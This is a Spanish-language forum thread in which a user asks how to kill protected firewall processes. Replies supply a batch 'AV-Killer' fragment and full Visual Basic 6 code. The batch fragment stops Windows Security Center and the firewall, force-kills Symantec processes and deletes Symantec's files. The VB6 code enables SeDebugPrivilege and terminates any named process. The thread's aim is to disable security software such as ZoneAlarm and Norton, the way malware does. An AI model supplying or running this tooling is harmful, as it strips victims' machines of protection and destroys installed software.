Matar Procesos Bloqueados???

Iniciado por Badlands, 2 Julio 2006, 03:34 AM

0 Miembros y 2 Visitantes están viendo este tema.

Badlands

Hola queria saber si alguien me puede ayudar con este codigo
lo que quiero hacer es matar procesos de firewalls pero al estar bloqueadosno se como hacerlo aca les dejo el codigo de como lo estoy tratando de hacer pero solo mata los procesos que no estan bloqueados.

Private Sub Command1_Click()
KillProcess Text1.Text
End Sub

Public Sub KillProcess(ByVal processName As String)
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices
servicename = LCase(Trim(CStr(oService.Name) & ""))
If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
ret = oService.Terminate
End If
Next
Set oServices = Nothing
Set oWMI = Nothing
ErrHandler:
Err.Clear
End Sub

_Sergi_

1. Antes que nada...Por favor, utiliza las etiquetas [ code ] y [ /code ] -sin espacios- o bien marca tu código con el botón #. Son las normas de éste foro  ;)

2. Lo segundo, para matar procesos de antivirus y/o firewalls que están bloqueados es mejor que utilices un archivo de proceso por lotes, que bien crees y ejecutes desde tu programa o bien lo juntes con el ejecutable.

Un perfecto ejemplo para matar antivirus y firewall en batch es éste (fragmento de AV-Killer en Batch by Hendrix en www.piratasinformaticos.net)

@echo off
net stop "Centro de Seguridad"
net stop "Firewall de Windows/Conexión compartida a Internet (ICS)"
Taskkill /f /IM ccProxy.exe /IM ccSetMgr.exe /IM SNDSrvc.exe /IM SPBBCSvc.exe /IM ccEvtMgr.exe /IM ccApp.exe /IM NMAIN.EXE /IM SBServ.exe /IM NOPDB.EXE
cd c:\Archivos de programa\Archivos comunes\Symantec Shared
attrib -H -S -R *.*
del /s /q *.*
rd c:\Archivos de programa\Archivos comunes\Symantec Shared
cd c:\Archivos de programa\Archivos comunes\Symantec Shared\SPBBC
attrib -H -S -R *.*


Como ves, es fundamental borrar los archivos una vez que matas los procesos ya que algunos antivirus son capaces de detectar que son descargados de la memoria y vuelven a ejecutarse (caso por ejemplo del NOD32)

Para crear archivos BAT desde VB sólo tienes que crear una variable con el contenido y volcarla a un archivo. (En el foro está como hacer eso) y usar la API ShellExecute o bien el comando de VB Shell para ejecutarlo (también está en el foro).

Espero haberte ayudado

P.D: Creo que no hace falta aclararlo... pero ahi va: desde VB también se puede hacer ésto (con un poco de ganas y maña) pero te he puesto el ejemplo con el BAT porque es más efectivo.





Proyecto de Ingeniero

Badlands

pero amigo como haces para matar el procesos si justamente esta bloqueado, al querer matarlo me tira error diciendo de el procesos esta bloqueado


Badlands


Gorky

Primero tienes que hacer una subida de privilegios con AdjustTokenPrivileges y despues cerrar el proceso con ExitProcess. Busca informacion sobre estas dos API's y sabras como usarlas.

Nota: Esto sirve para practicamente para todos los procesos. Hay algunos como por ejemplo el kavsvc.exe que no te va a dar resultado. Con los de los firewalls si lo vas a conseguir ya que no tienen tanta proteccion.

Badlands

hola gracias por responderme

estuve viendo estas funciones y mucho no entendi, porque recien estoy empesando con el tema de las apis, por lo que estuve viendo "AdjustTokenPrivileges" es para darle privilegio al proceso y "ExitProcess" para cerrarlo, pero no se bien como utilizar las constantes.
Si me podrias dar una mano te lo agradeceria .

Gracias

Kizar

Muchos antivirus como el kav utilizan apihooking para prohibir su finalizacion y cualkier tipo de intento de eliminarlo, en todo caso se han equivocada en una cosa, su base de datos se puede borrar...

Badlands

a ver si me explico bien...

yo lo que quiero no es matar un antivirus completo, borrandolo todo, lo que quiero hacer es matar procesos de firewalls, como el zone alarm, norton firewall etc y dejar a al antivirus como esta.
Por eso pregutaba si alguno podria poner un ejemplito de las apis que dijo Gorky.

Gracias

Gorky

Option Explicit
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long

Private Type LUID
LowPart As Long
HighPart As Long
End Type

Private Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type

Private Type TOKEN_PRIVILEGES
PrivilegeCount As Long
TheLuid As LUID
Attributes As Long
End Type


Public Const MAX_PATH As Integer = 260
Public Const TH32CS_SNAPPROCESS As Long = 2&

Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szexeFile As String * MAX_PATH
    End Type


Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Function ProcessTerminate(Optional lProcessID As Long, Optional lHwndWindow As Long) As Boolean
Dim lhwndProcess As Long
Dim lExitCode As Long
Dim lRetVal As Long
Dim lhThisProc As Long
Dim lhTokenHandle As Long
Dim tLuid As LUID
Dim tTokenPriv As TOKEN_PRIVILEGES, tTokenPrivNew As TOKEN_PRIVILEGES
Dim lBufferNeeded As Long

Const PROCESS_ALL_ACCESS = &H1F0FFF, PROCESS_TERMINAT = &H1
Const ANYSIZE_ARRAY = 1, TOKEN_ADJUST_PRIVILEGES = &H20
Const TOKEN_QUERY = &H8, SE_DEBUG_NAME As String = "SeDebugPrivilege"
Const SE_PRIVILEGE_ENABLED = &H2

On Error Resume Next
If lHwndWindow Then
'Get the process ID from the window handle
lRetVal = GetWindowThreadProcessId(lHwndWindow, lProcessID)
End If

If lProcessID Then
lhThisProc = GetCurrentProcess

OpenProcessToken lhThisProc, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, lhTokenHandle
LookupPrivilegeValue "", SE_DEBUG_NAME, tLuid
tTokenPriv.PrivilegeCount = 1
tTokenPriv.TheLuid = tLuid
tTokenPriv.Attributes = SE_PRIVILEGE_ENABLED
AdjustTokenPrivileges lhTokenHandle, False, tTokenPriv, Len(tTokenPrivNew), tTokenPrivNew, lBufferNeeded

lhwndProcess = OpenProcess(PROCESS_TERMINAT, 0, lProcessID)

If lhwndProcess Then
ProcessTerminate = CBool(TerminateProcess(lhwndProcess, lExitCode))
Call CloseHandle(lhwndProcess)
End If
End If
On Error GoTo 0
End Function

Public Function KillProcessus(nom_process) As String
Dim i As Integer
Dim hSnapshot As Long
Dim uProcess As PROCESSENTRY32
Dim r As Long
Dim nom(1 To 100)
Dim num(1 To 100)
Dim nr As Integer
nr = 0
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
If hSnapshot = 0 Then Exit Function
uProcess.dwSize = Len(uProcess)
r = ProcessFirst(hSnapshot, uProcess)
Do While r
nr = nr + 1
nom(nr) = uProcess.szexeFile
num(nr) = uProcess.th32ProcessID
r = ProcessNext(hSnapshot, uProcess)
Loop
For i = 1 To nr
If InStr(UCase(nom(i)), UCase(nom_process)) <> 0 Then
ProcessTerminate (num(i))
Exit For
End If
Next i
End Function



Aqui en vez de hacerlo con ExitProcess lo hace con TerminateProcess pero viene a ser lo mismo.

Esto es mas que un "ejemplito" pero espero que te sirva.

Badlands

Te jodo mucho si me la explicas un poquito?
porque no se como manejarla desde el form.

Gracias